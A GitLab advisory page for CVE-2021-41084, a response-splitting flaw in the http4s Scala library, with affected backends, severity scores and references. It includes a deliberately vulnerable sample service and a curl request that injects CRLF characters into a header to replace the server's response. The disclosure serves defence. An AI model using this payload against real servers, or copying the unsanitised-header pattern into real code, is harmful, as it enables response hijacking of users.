Advisory Database
  • Advisories
  • Dependency Scanning
  1. maven
  2. ›
  3. org.http4s/http4s-server_2.11
  4. ›
  5. CVE-2021-41084

CVE-2021-41084: Response Splitting from unsanitized headers

September 22, 2021 (updated December 11, 2025)

http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:

  • Header names (Header.nameå
  • Header values (Header.value)
  • Status reason phrases (Status.reason)
  • URI paths (Uri.Path)
  • URI authority registered names (URI.RegName) (through 0.21)

The following backends render invalid carriage return, newline, or null characters in an unsafe fashion.

blaze-serverember-serverblaze-clientember-clientjetty-client
header names⚠⚠⚠⚠⚠
header values⚠⚠⚠⚠
status reasons⚠⚠
URI paths⚠⚠
URI regnames⚠ < 0.22⚠ < 0.22

For example, given the following service:

import cats.effect._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.server.blaze.BlazeServerBuilder
import scala.concurrent.ExecutionContext.global

object ResponseSplit extends IOApp {
override def run(args: List[String]): IO[ExitCode] =
BlazeServerBuilder[IO](global)
.bindHttp(8080)
.withHttpApp(httpApp)
.resource
.use(_ => IO.never)

val httpApp: HttpApp[IO] =
HttpApp[IO] { req =>
req.params.get("author") match {
case Some(author) =>
Ok("The real content")
.map(_.putHeaders(Header("Set-Cookie", s"author=${author}")))
case None =>
BadRequest("No author parameter")
}
}
}

A clean author parameter returns a clean response:

curl -i 'http://localhost:8080/?author=Ross'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=Ross
Date: Mon, 20 Sep 2021 04:12:10 GMT
Content-Length: 16

The real content

A malicious author parameter allows a user-agent to hijack the response from our server and return different content:

curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=hax0r
Content-Length: 13

I hacked you

References

  • github.com/advisories/GHSA-5vcm-3xc3-w7x3
  • github.com/http4s/http4s
  • github.com/http4s/http4s/commit/d02007db1da4f8f3df2dbf11f1db9ac7afc3f9d8
  • github.com/http4s/http4s/security/advisories/GHSA-5vcm-3xc3-w7x3
  • httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html
  • nvd.nist.gov/vuln/detail/CVE-2021-41084
  • owasp.org/www-community/attacks/HTTP_Response_Splitting

Code Behaviors & Features

Detect and mitigate CVE-2021-41084 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions up to 0.21.28

Solution

Unfortunately, there is no solution available yet.

Impact 4.7 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

Learn more about CVSS

Weakness

  • CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  • CWE-918: Server-Side Request Forgery (SSRF)

Source file

maven/org.http4s/http4s-server_2.11/CVE-2021-41084.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:16:48 +0000.